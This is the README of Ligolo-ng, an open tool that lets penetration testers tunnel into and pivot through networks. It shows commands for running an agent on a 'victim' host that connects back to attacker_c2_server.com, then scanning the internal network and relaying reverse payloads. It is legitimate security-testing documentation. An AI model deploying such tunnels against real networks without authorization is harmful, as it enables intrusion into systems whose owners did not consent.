An advanced, yet simple, tunneling tool that uses TUN interfaces.
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- Introduction
- Features
- How is this different from Ligolo/Chisel/Meterpreter... ?
- Building & Usage
- Demo
- Does it require Administrator/root access ?
- Supported protocols/packets
- Performance
- Caveats
- Todo
- Credits
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
- Tun interface (No more SOCKS!)
- Simple UI with agent selection and network information
- Easy to use and setup
- Automatic certificate configuration with Let's Encrypt
- Performant (Multiplexing)
- Does not require high privileges
- Socket listening/binding on the agent
- Multiple platforms supported for the agent
- Can handle multiple tunnels
- Reverse/Bind Connection
Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.
When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.
As an example, for a TCP connection:
- SYN are translated to connect() on remote
- SYN-ACK is sent back if connect() succeed
- RST is sent if ECONNRESET, ECONNABORTED or ECONNREFUSED syscall are returned after connect
- Nothing is sent if timeout
This allows running tools like nmap without the use of proxychains (simpler and faster).
Precompiled binaries (Windows/Linux/macOS) are available on the Release page.
Building ligolo-ng (Go >= 1.20 is required):
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.goWhen using Linux, you need to create a tun interface on the Proxy Server (C2):
$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo upOn Ligolo-ng >= v0.6, you can now use the
interface_createcommand to create a new interface! No need to use ip tuntap!
ligolo-ng » interface_create --name "evil-cha"
INFO[3185] Creating a new "evil-cha" interface...
INFO[3185] Interface created!
You need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).
Start the proxy server on your Command and Control (C2) server (default port 11601):
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates
$ ./proxy -selfcert # Use self-signed certificatesWhen using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.
Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval
If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.
The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.
Validating self-signed certificates fingerprints (recommended)
When running selfcert, you can run the certificate_fingerprint command to print the currently used certificate fingerprint.
ligolo-ng » certificate_fingerprint
INFO[0203] TLS Certificate fingerprint for ligolo is: D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC
On the agent, you can then connect using the fingerprint provided by the Ligolo-ng proxy.
ligolo-agent -connect 127.0.0.1:11601 -v -accept-fingerprint D005527D2683A8F2DB73022FBF23188E064493CFA17D6FCF257E14F4B692E0FC nchatelain@nworkstation
INFO[0000] Connection established addr="127.0.0.1:11601"
By default, the "ligolo" domain name is used for TLS Certificate generation. You can change the domain by using the -selfcert-domain [domain] option at startup.
Ignoring all certificate verification (for lab/debugging)
To ignore all security mechanisms, the -ignore-cert option can be used with the agent.
Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.
Start the agent on your target (victim) computer (no privileges are required!):
$ ./agent -connect attacker_c2_server.com:11601If you want to tunnel the connection over a SOCKS5 proxy, you can use the
--socks ip:portoption. You can specify SOCKS credentials using the--socks-userand--socks-passarguments.
A session should appear on the proxy server.
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Use the session command to select the agent.
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Start the tunnel on the proxy, using the evil-cha interface name.
[Agent : nchatelain@nworkstation] » tunnel_start --tun evil-cha
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation
On macOS, you need to specify a utun[0-9] device, like utun4.
First, display the network configuration of the agent using the ifconfig command:
[Agent : nchatelain@nworkstation] » ifconfig
[...]
┌─────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬──────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.0.30/24 │
└──────────────┴──────────────────────────────┘
Then setup routes accordingly.
Linux:
Using the terminal:
$ sudo ip route add 192.168.0.0/24 dev ligoloOr using the Ligolo-ng (>= 0.6) cli:
ligolo-ng » interface_add_route --name evil-cha --route 192.168.2.0/24
INFO[3206] Route created.
Windows:
> netsh int ipv4 show interfaces
Idx Mét MTU État Nom
--- ---------- ---------- ------------ ---------------------------
25 5 65535 connected ligolo
> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]
macOS:
$ sudo ifconfig utun4 alias [random_ip] 255.255.255.0
$ sudo route add -net 192.168.2.0/24 interface utun4
You can now access the 192.168.0.0/24 agent network from the proxy server.
$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]You can listen to ports on the agent and redirect connections to your control/proxy server.
In a ligolo session, use the listener_add command.
The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.
[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!
On the proxy:
$ nc -lvp 4321When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.
This is very useful when using reverse tcp/udp payloads.
You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:
[Agent : nchatelain@nworkstation] » listener_list
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234 │ 127.0.0.1:4321 │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘
[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.
If you need to access the local ports of the currently connected agent, there's a "magic" CIDR hardcoded in Ligolo-ng: 240.0.0.0/4 (This is an unused IPv4 subnet). If you query an IP address on this subnet, Ligolo-ng will automatically redirect traffic to the agent's local IP address (127.0.0.1).
Example:
$ sudo ip route add 240.0.0.1/32 dev ligolo
$ nmap 240.0.0.1 -sV
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-30 22:17 CET
Nmap scan report for 240.0.0.1
Host is up (0.023s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
8000/tcp open http SimpleHTTPServer 0.6 (Python 3.9.2)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.16 seconds
The Ligolo-ng agent can operate using a bind connection (i.e. acting as a server).
Instead of using the --connect [ip:port] argument, you can use --bind [ip:port] so the agent start listening to connections.
After that, the proxy can connect to the agent using the connect_agent command.
In a terminal:
» ligolo-agent -bind 127.0.0.1:4444
WARN[0000] TLS Certificate fingerprint is: 05518ABE4F0D3B137A2365E0DE52A01FE052EE4C5A2FD12D8E2DD93AED1DD04B
INFO[0000] Listening on 127.0.0.1:4444...
INFO[0005] Got connection from: 127.0.0.1:53908
INFO[0005] Connection established addr="127.0.0.1:53908"
In ligolo-ng proxy:
ligolo-ng » connect_agent --ip 127.0.0.1:4444
? TLS Certificate Fingerprint is: 05518ABE4F0D3B137A2365E0DE52A01FE052EE4C5A2FD12D8E2DD93AED1DD04B, connect? Yes
INFO[0021] Agent connected. name=nchatelain@nworkstation remote="127.0.0.1:4444"
Ligolo-ng-demo.webm
On the agent side, no! Everything can be performed without administrative access.
However, on your relay/proxy server, you need to be able to create a tun interface.
- TCP
- UDP
- ICMP (echo requests)
You can easily hit more than 100 Mbits/sec. Here is a test using iperf from a 200Mbits/s server to a 200Mbits/s connection.
$ iperf3 -c 10.10.0.1 -p 24483
Connecting to host 10.10.0.1, port 24483
[ 5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483
[ ID] Interval Transfer Bitrate Retr Cwnd
[ 5] 0.00-1.00 sec 12.5 MBytes 105 Mbits/sec 0 164 KBytes
[ 5] 1.00-2.00 sec 12.7 MBytes 107 Mbits/sec 0 263 KBytes
[ 5] 2.00-3.00 sec 12.4 MBytes 104 Mbits/sec 0 263 KBytes
[ 5] 3.00-4.00 sec 12.7 MBytes 106 Mbits/sec 0 263 KBytes
[ 5] 4.00-5.00 sec 13.1 MBytes 110 Mbits/sec 2 134 KBytes
[ 5] 5.00-6.00 sec 13.4 MBytes 113 Mbits/sec 0 147 KBytes
[ 5] 6.00-7.00 sec 12.6 MBytes 105 Mbits/sec 0 158 KBytes
[ 5] 7.00-8.00 sec 12.1 MBytes 101 Mbits/sec 0 173 KBytes
[ 5] 8.00-9.00 sec 12.7 MBytes 106 Mbits/sec 0 182 KBytes
[ 5] 9.00-10.00 sec 12.6 MBytes 106 Mbits/sec 0 188 KBytes
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval Transfer Bitrate Retr
[ 5] 0.00-10.00 sec 127 MBytes 106 Mbits/sec 2 sender
[ 5] 0.00-10.08 sec 125 MBytes 104 Mbits/sec receiverBecause the agent is running without privileges, it's not possible to forward raw packets. When you perform a NMAP SYN-SCAN, a TCP connect() is performed on the agent.
When using nmap, you should use --unprivileged or -PE to avoid false positives.
- Implement other ICMP error messages (this will speed up UDP scans) ;
- Do not RST when receiving an ACK from an invalid TCP connection (nmap will report the host as up) ;
- Add mTLS support.
- Nicolas Chatelain <nicolas -at- chatelain.me>